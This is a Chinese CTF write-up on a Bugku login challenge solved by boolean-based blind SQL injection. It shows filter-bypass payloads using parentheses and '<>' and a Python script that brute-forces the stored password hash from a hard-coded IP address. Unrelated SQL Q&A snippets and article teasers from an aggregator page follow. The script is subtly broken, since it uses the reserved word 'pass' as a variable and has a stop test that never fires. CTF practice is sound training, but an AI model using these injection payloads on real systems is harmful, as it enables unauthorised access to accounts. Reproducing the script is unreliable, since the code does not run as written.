ctf-web-sql注入

2023-11-08

题目链接:跳转提示

打开网页,一个登陆页面,根据题是本题题型是基于布尔的SQL盲注

首先在用户名处输入admin

得到结果:

即密码确为admin,而如果不输入用户名直接输入密码,发现报错

可见后台是先判断用户名是否正确存在,当用户名正确后再判断密码是否正确。

经测试发现,当出现'空格符','=','and'等字符时,发现会报错显示:‘illegal character’,即知道这些字符会被过滤,可以用括号来避免空格符的使用,用<>(大于或小于)来避免'='的使用

尝试输入:ad'or(ascii(substr((password)from(1)))<>97)#

只有当ascii(substr((password)from(1)))==97时,整个句式username=='ad'or(ascii(substr((password)from(1)))<>97)为假,

即预计只有当显示结果为username does not exist!时,ascii(substr((password)from(1)))<>97为假,可以用此方法判断password的内容

得到结果:

 发现句式可用,因为ad不是用户名,结果却显示密码错误,没有显示用户名错误,根据or的特性,说明后半段的语句为真,即password的第一个字符<>97

利用脚本:

import requests
ra=requests.session()
pass=""
for j in range(1,100):
    flag=0
    for i in range(48,123):
        test="admin1'or(ascii(substr((password)from("+str(j)+")))<>"+str(i)+")#"
        url='http://114.67.175.224:18554/'
        data={
            'username':test,
            'password':""
        }
        pa=ra.post(url=url,data=data).text
        if "username does not exist!" in pa:
            pass+=chr(i)
            flag=i
            break
    if flag==123:
        break
print(pass)

 

得到password=4dcc88f8f1bc05e7c2ad1a60288481a2

发现密码错误,因为这串字符符合md5摘要格式(32个字符,只包含0~9,a~f字符)

md5解码果然得到:bugkuctf

输入用户名:admin     密码:bugkuctf 得到flag

(PS:这道题还没开始注入就把密码试出来了,这密码太简单了)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctf-web-sql注入 的相关文章

  • 在 where 子句中使用聚合函数和不同的列条件

    select PO Order Qty Avg PO Order Qty as totalAverage FROM FirstStrike Retail custom Whse Pricing QR where item code 111
  • 计算包含字母/数字的行数

    我想要实现的目标很简单 但是解释起来有点困难 我不知道在 postgres 中这是否真的可能 我处于相当基础的水平 SELECT FROM WHERE LEFT JOIN ON HAVING 等等基本的东西 我正在尝试计算包含特定字母 数字
  • MySQL 最佳实践:SELECT 子递归尽可能提高性能?

    我想选择一个根项目及其子项 使其性能尽可能高 我更喜欢使用嵌套集模型 但这次表结构遵循邻接模型 有关嵌套集和邻接模型的更多信息 http mikehillyer com articles managing hierarchical data
  • 按原样将 SQL 保存到 YAML

    我想以我自己的格式将 SQL 保存到 YAML 文件 如下所示 1 sql SELECT DISTINCT p id product p price AS price sp reduction AS discount FROM 我使用 YA
  • SQL命令文本到DataSet的直接方法

    如果我有 sql 命令 获取数据集的最直接途径是什么 string sqlCommand SELECT FROM TABLE string connectionString blahblah DataSet GetDataSet sqlCo
  • 如何搜索表中的所有列?

    如何在 SQL Server 中搜索表的所有列 SELECT FROM yourtable WHERE val IN field1 field2 field3 field4 如果您正在寻找精确的全场比赛 如果你正在寻找子字符串匹配 你将不得
  • 优化 LATERAL join 中的慢速聚合

    在我的 PostgreSQL 9 6 2 数据库中 我有一个查询 该查询根据一些股票数据构建计算字段表 它为表中的每一行计算 1 到 10 年的移动平均窗口 并将其用于周期性调整 具体来说 CAPE CAPB CAPC CAPS 和 CAP
  • 将图像列保存到 SQL Server 2000 中的文件

    我在 SQL Server 2000 中有一个包含图像列的表 我需要将图像数据保存到文件系统上的文件中 在 SQL Server 2005 中 我可以使用 ADODB Stream 对象进行文件 I O 但这在 SQL Server 200
  • 合并sql中的列

    我正在使用 SQL Server 2017 有一个存储过程 其中我有一个带有连接的简单选择 例如 SELECT p legacyKey AS JobNumber p Name AS JobName G Label AS DesignStat
  • 如何将事物的组合映射到关系数据库?

    我有一个表 其记录代表某些对象 为了简单起见 我假设该表只有一列 这是唯一的ObjectId 现在我需要一种方法来存储该表中的对象组合 组合必须是唯一的 但可以是任意长度 例如 如果我有ObjectIds 1 2 3 4 我想存储以下组合
  • 在 SQL 中按键组对行进行顺序编号?

    SQL中有没有办法按顺序添加行号按关键组 假设一个表包含任意 CODE NAME 元组 示例表 CODE NAME A Apple A Angel A Arizona B Bravo C Charlie C Cat D Dog D Dopp
  • SQL 约束最小值/最大值?

    有没有办法为数字字段设置 SQL 约束 最小值应为 1234 最大值应为 4523 SQL Server 语法为the check约束 http technet microsoft com en us library ms179491 as
  • 如何对多行的一列值求和?

    我有这个表 我想添加几行的 change 列的值 或者更准确地说 从 ne 值为零的行到 ne 值为零的下一行 不是第二个本身 任何答案将不胜感激 rn date ne change 0 2008 12 07 0 10330848398 1
  • 如何使用 SQL 通过表示多级订单的 varchar 字段正确排序?

    我不太喜欢数据库 我发现在查询上出现以下问题SQL服务器数据库旧的遗留应用程序的 我声明不幸的是我无法更改数据库结构 字段类型 这非常难看 我有以下情况 SELECT Sottocategoria IdSottocategoria IdCa
  • ASP SQL Server 连接

  • 在 PostgreSql 中计算百分比

    例如我有一个这样的表 string adm A 2 A 1 B 2 A 1 C 1 A 2 通过 SQL 查询 我想要这样的结果 string perc adm A 50 B 100 C 0 我想要每个字符串中数字 2 出现的百分比 我可以
  • 如何连续添加起始行和下一行的值

    我只想创建一个 sql 查询 结果就像图片上的那样 类似于 SQL 中的斐波那契数列 Ex Column 1 10 则 Result 列的值为 Result 10 因为这是第一行 然后假设column1第二行的值为50 那么Result第二
  • 自动删除主键序列中的间隙

    我正在创建一个网页 该网页根据用户操作将数据存储到 MySQL 数据库中 数据库有很多行 行的主键是列 rowID 它只是按顺序对行进行编号 例如 1 2 3 4 用户可以选择删除行 问题是当用户删除最后一行以外的行时 rowID 中有一个
  • C# using 语句、SQL 和 SqlConnection

    使用 using 语句 C SQL 可以吗 private static void CreateCommand string queryString string connectionString using SqlConnection c
  • 分组和切换列和行

    我不知道这是否会被正式称为枢轴 但我想要的结果是这样的 Alex Charley Liza 213 345 1 23 111 5 42 52 2 323 5 23 1 324 5 我的输入数据采用这种形式 Apt Name

随机推荐

  • Linux系统卡在iscsi服务导致无法正常开机

    现象 存储网络断开了 机器再开机时卡在开机logo去挂载iscsi 导致没法正常开机 解决办法 1 进救援模式或者单用户模式 将iscsid服务开机自启关了并禁用 关闭自启可能还是存在会被唤醒的情况 systemctl disable is
  • Maven项目的两种打包方式-spring-boot-mavne-plugin/maven-jar-plugin

    Maven项目的两种打包方式 spring boot mavne plugin maven jar plugin 1 前言 Maven的两种打包方式 2 流程图 3 spring boor maven plugin打包 4 maven ja
  • Java架构师的10个学习经验分享,初学者必看

    从零基础学习Java 只要方法正确 依然可以学好Java编程 学习Java就像交朋友一样 要从陌生到熟悉再到铁杆搭档一生相伴的过程 随着深入的了解 你不但会发现学Java并不是和想象的那样无聊和困难 而且还有一些美妙之感 当然在拥有强大的技
  • SecureCRT8.5的下载、安装、注册、连接

    https blog csdn net qq 37233070 article details 120683434
  • 前端Blob文件导出

    前端Blob文件导出 前言 一 Blob是什么 二 axios 拦截器中做统一处理 三 页面全局封装下载组建 总结 前言 通过把blob转file对象的方法下载文件 一 Blob是什么 Blob 对象表示一个不可变 原始数据的类文件对象 B
  • 了解一下Java的日志体系

    目录 了解日子框架体系 分析日志框架如何转换 logback日志的集成 SpringBoot日志使用 常见的一些日志框架如 commons logging jar log4j jar sl4j api jar等 他们之间是存在一定关系的 在
  • mysql错误解决(2003、1045 2800)

    1 2003解决 在D mysql 5 7 26 winx64中新建文件夹data 在bin中进入cmd 运行 mysqld initialize 等一段事件后 重启mysql服务 2 1045 2800 在my ini加入skip gra
  • 【机器学习 & 深度学习】通俗讲解集成学习算法

    目录 集成学习 一 机器学习中的集成学习 1 1 定义 1 2 分类器 Classifier 1 2 1 决策树分类器 1 2 2 朴素贝叶斯分类器 1 2 3 AdaBoost算法 1 2 4 支持向量机 1 2 5 K近邻算法 1 3
  • Pytorch使用NN神经网络模型实现经典波士顿boston房价预测问题

    Pytorch使用多层神经网络模型实现经典波士顿boston房价预测问题 波士顿房价数据集介绍 波士顿房价数据集是一个经典的机器学习数据集 用于预测波士顿地区房屋的中位数价格 该数据集包含了506个样本 每个样本有13个特征 包括城镇的各种
  • Vscode配置已有工程及自动格式化

    这里写目录标题 前言 配置CMake 配置clang clang tidy clang format clangd clang tidy clang format 前言 最近一直在用vscode写代码 发现vscode一旦配置好了真的好用
  • vue3.0 nextTick

    将回调推迟到下一个DOM更新周期之后执行 在更改了一些数据以等待DOM更新后立即使用它 import createApp nextTick from vue 方式一 const app createApp setup const chang
  • Error: ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication解决办法

    node连接数据库报错 Error ER NOT SUPPORTED AUTH MODE Client does not support authentication protocol requested by server conside
  • sqlite3 数据同步

    在一个小项目中 用到 sqlite3 需要同步两个表 懒得装工具 写了两个函数搞掂 贴代码出来给需要的朋友 encoding utf 8 author 陈年椰子 contact hndm qq com version 1 0 file wo
  • Yapi的安装与使用

    前言 YApi 是高效 易用 功能强大的 api 管理平台 旨在为开发 产品 测试人员提供更优雅的接口管理服务 可以帮助开发者轻松创建 发布 维护 API YApi 还为用户提供了优秀的交互体验 开发人员只需利用平台提供的接口数据写入工具以
  • 假设检验3- 卡方分布

    前言 目录 一 卡方分布 二 双边假设检验 三 单边假设检验 四 例子 一 卡方分布 n 个随机变量均符合标准正态分布 则其平方和符合自由度为n的卡方分布 重要性质 二 双边检验 2 1 假设 2 2 统计量 2 3 拒绝域 k1 chi2
  • DevEco Studio Install JS 3.0.0.0 failed.

    安装 DevEco Studio的常见错我 1 Install JS 3 0 0 0 failed 问题原因 npm 配置原因 解决方法如下 1 点击欢迎页中的Configure 或图标 gt Settings gt Build Execu
  • python 时间格式datetime、str与date的相互转换

    在写项目的时候经常会用到时间格式 以及它们之间的相互转化 常用的日期数据格式datetime datetime str datetime date 在使用的时候先导入datetime模块 from datetime import datet
  • 机考[61 -70]

    华为机考 061 寻找身高相近的小朋友 062 寻找相同子串 063 一种字符串压缩表示的解压 064 英文输入法 065 用户调度问题 066 用连续自然数之和来表达整数 067 找车位 068 找出符合要求的字符串子串 069 找朋友
  • ESP32-C3入门教程 基础篇(五、RMT应用 — 控制SK6812全彩RGB 灯)

    测试第五课 本来是准备测试一下PWM驱动 SK6812 RGB灯 但是研究了一段时间 发现在ESP32 C3 有更好而且现成的方式 实现 SK6812 的控制 使用PWM也不是不可以 只是对于初学者 需要多花好多时间 所以本文还是先以ESP
  • ctf-web-sql注入

    题目链接 跳转提示 打开网页 一个登陆页面 根据题是本题题型是基于布尔的SQL盲注 首先在用户名处输入admin 得到结果 即密码确为admin 而如果不输入用户名直接输入密码 发现报错 可见后台是先判断用户名是否正确存在 当用户名正确后再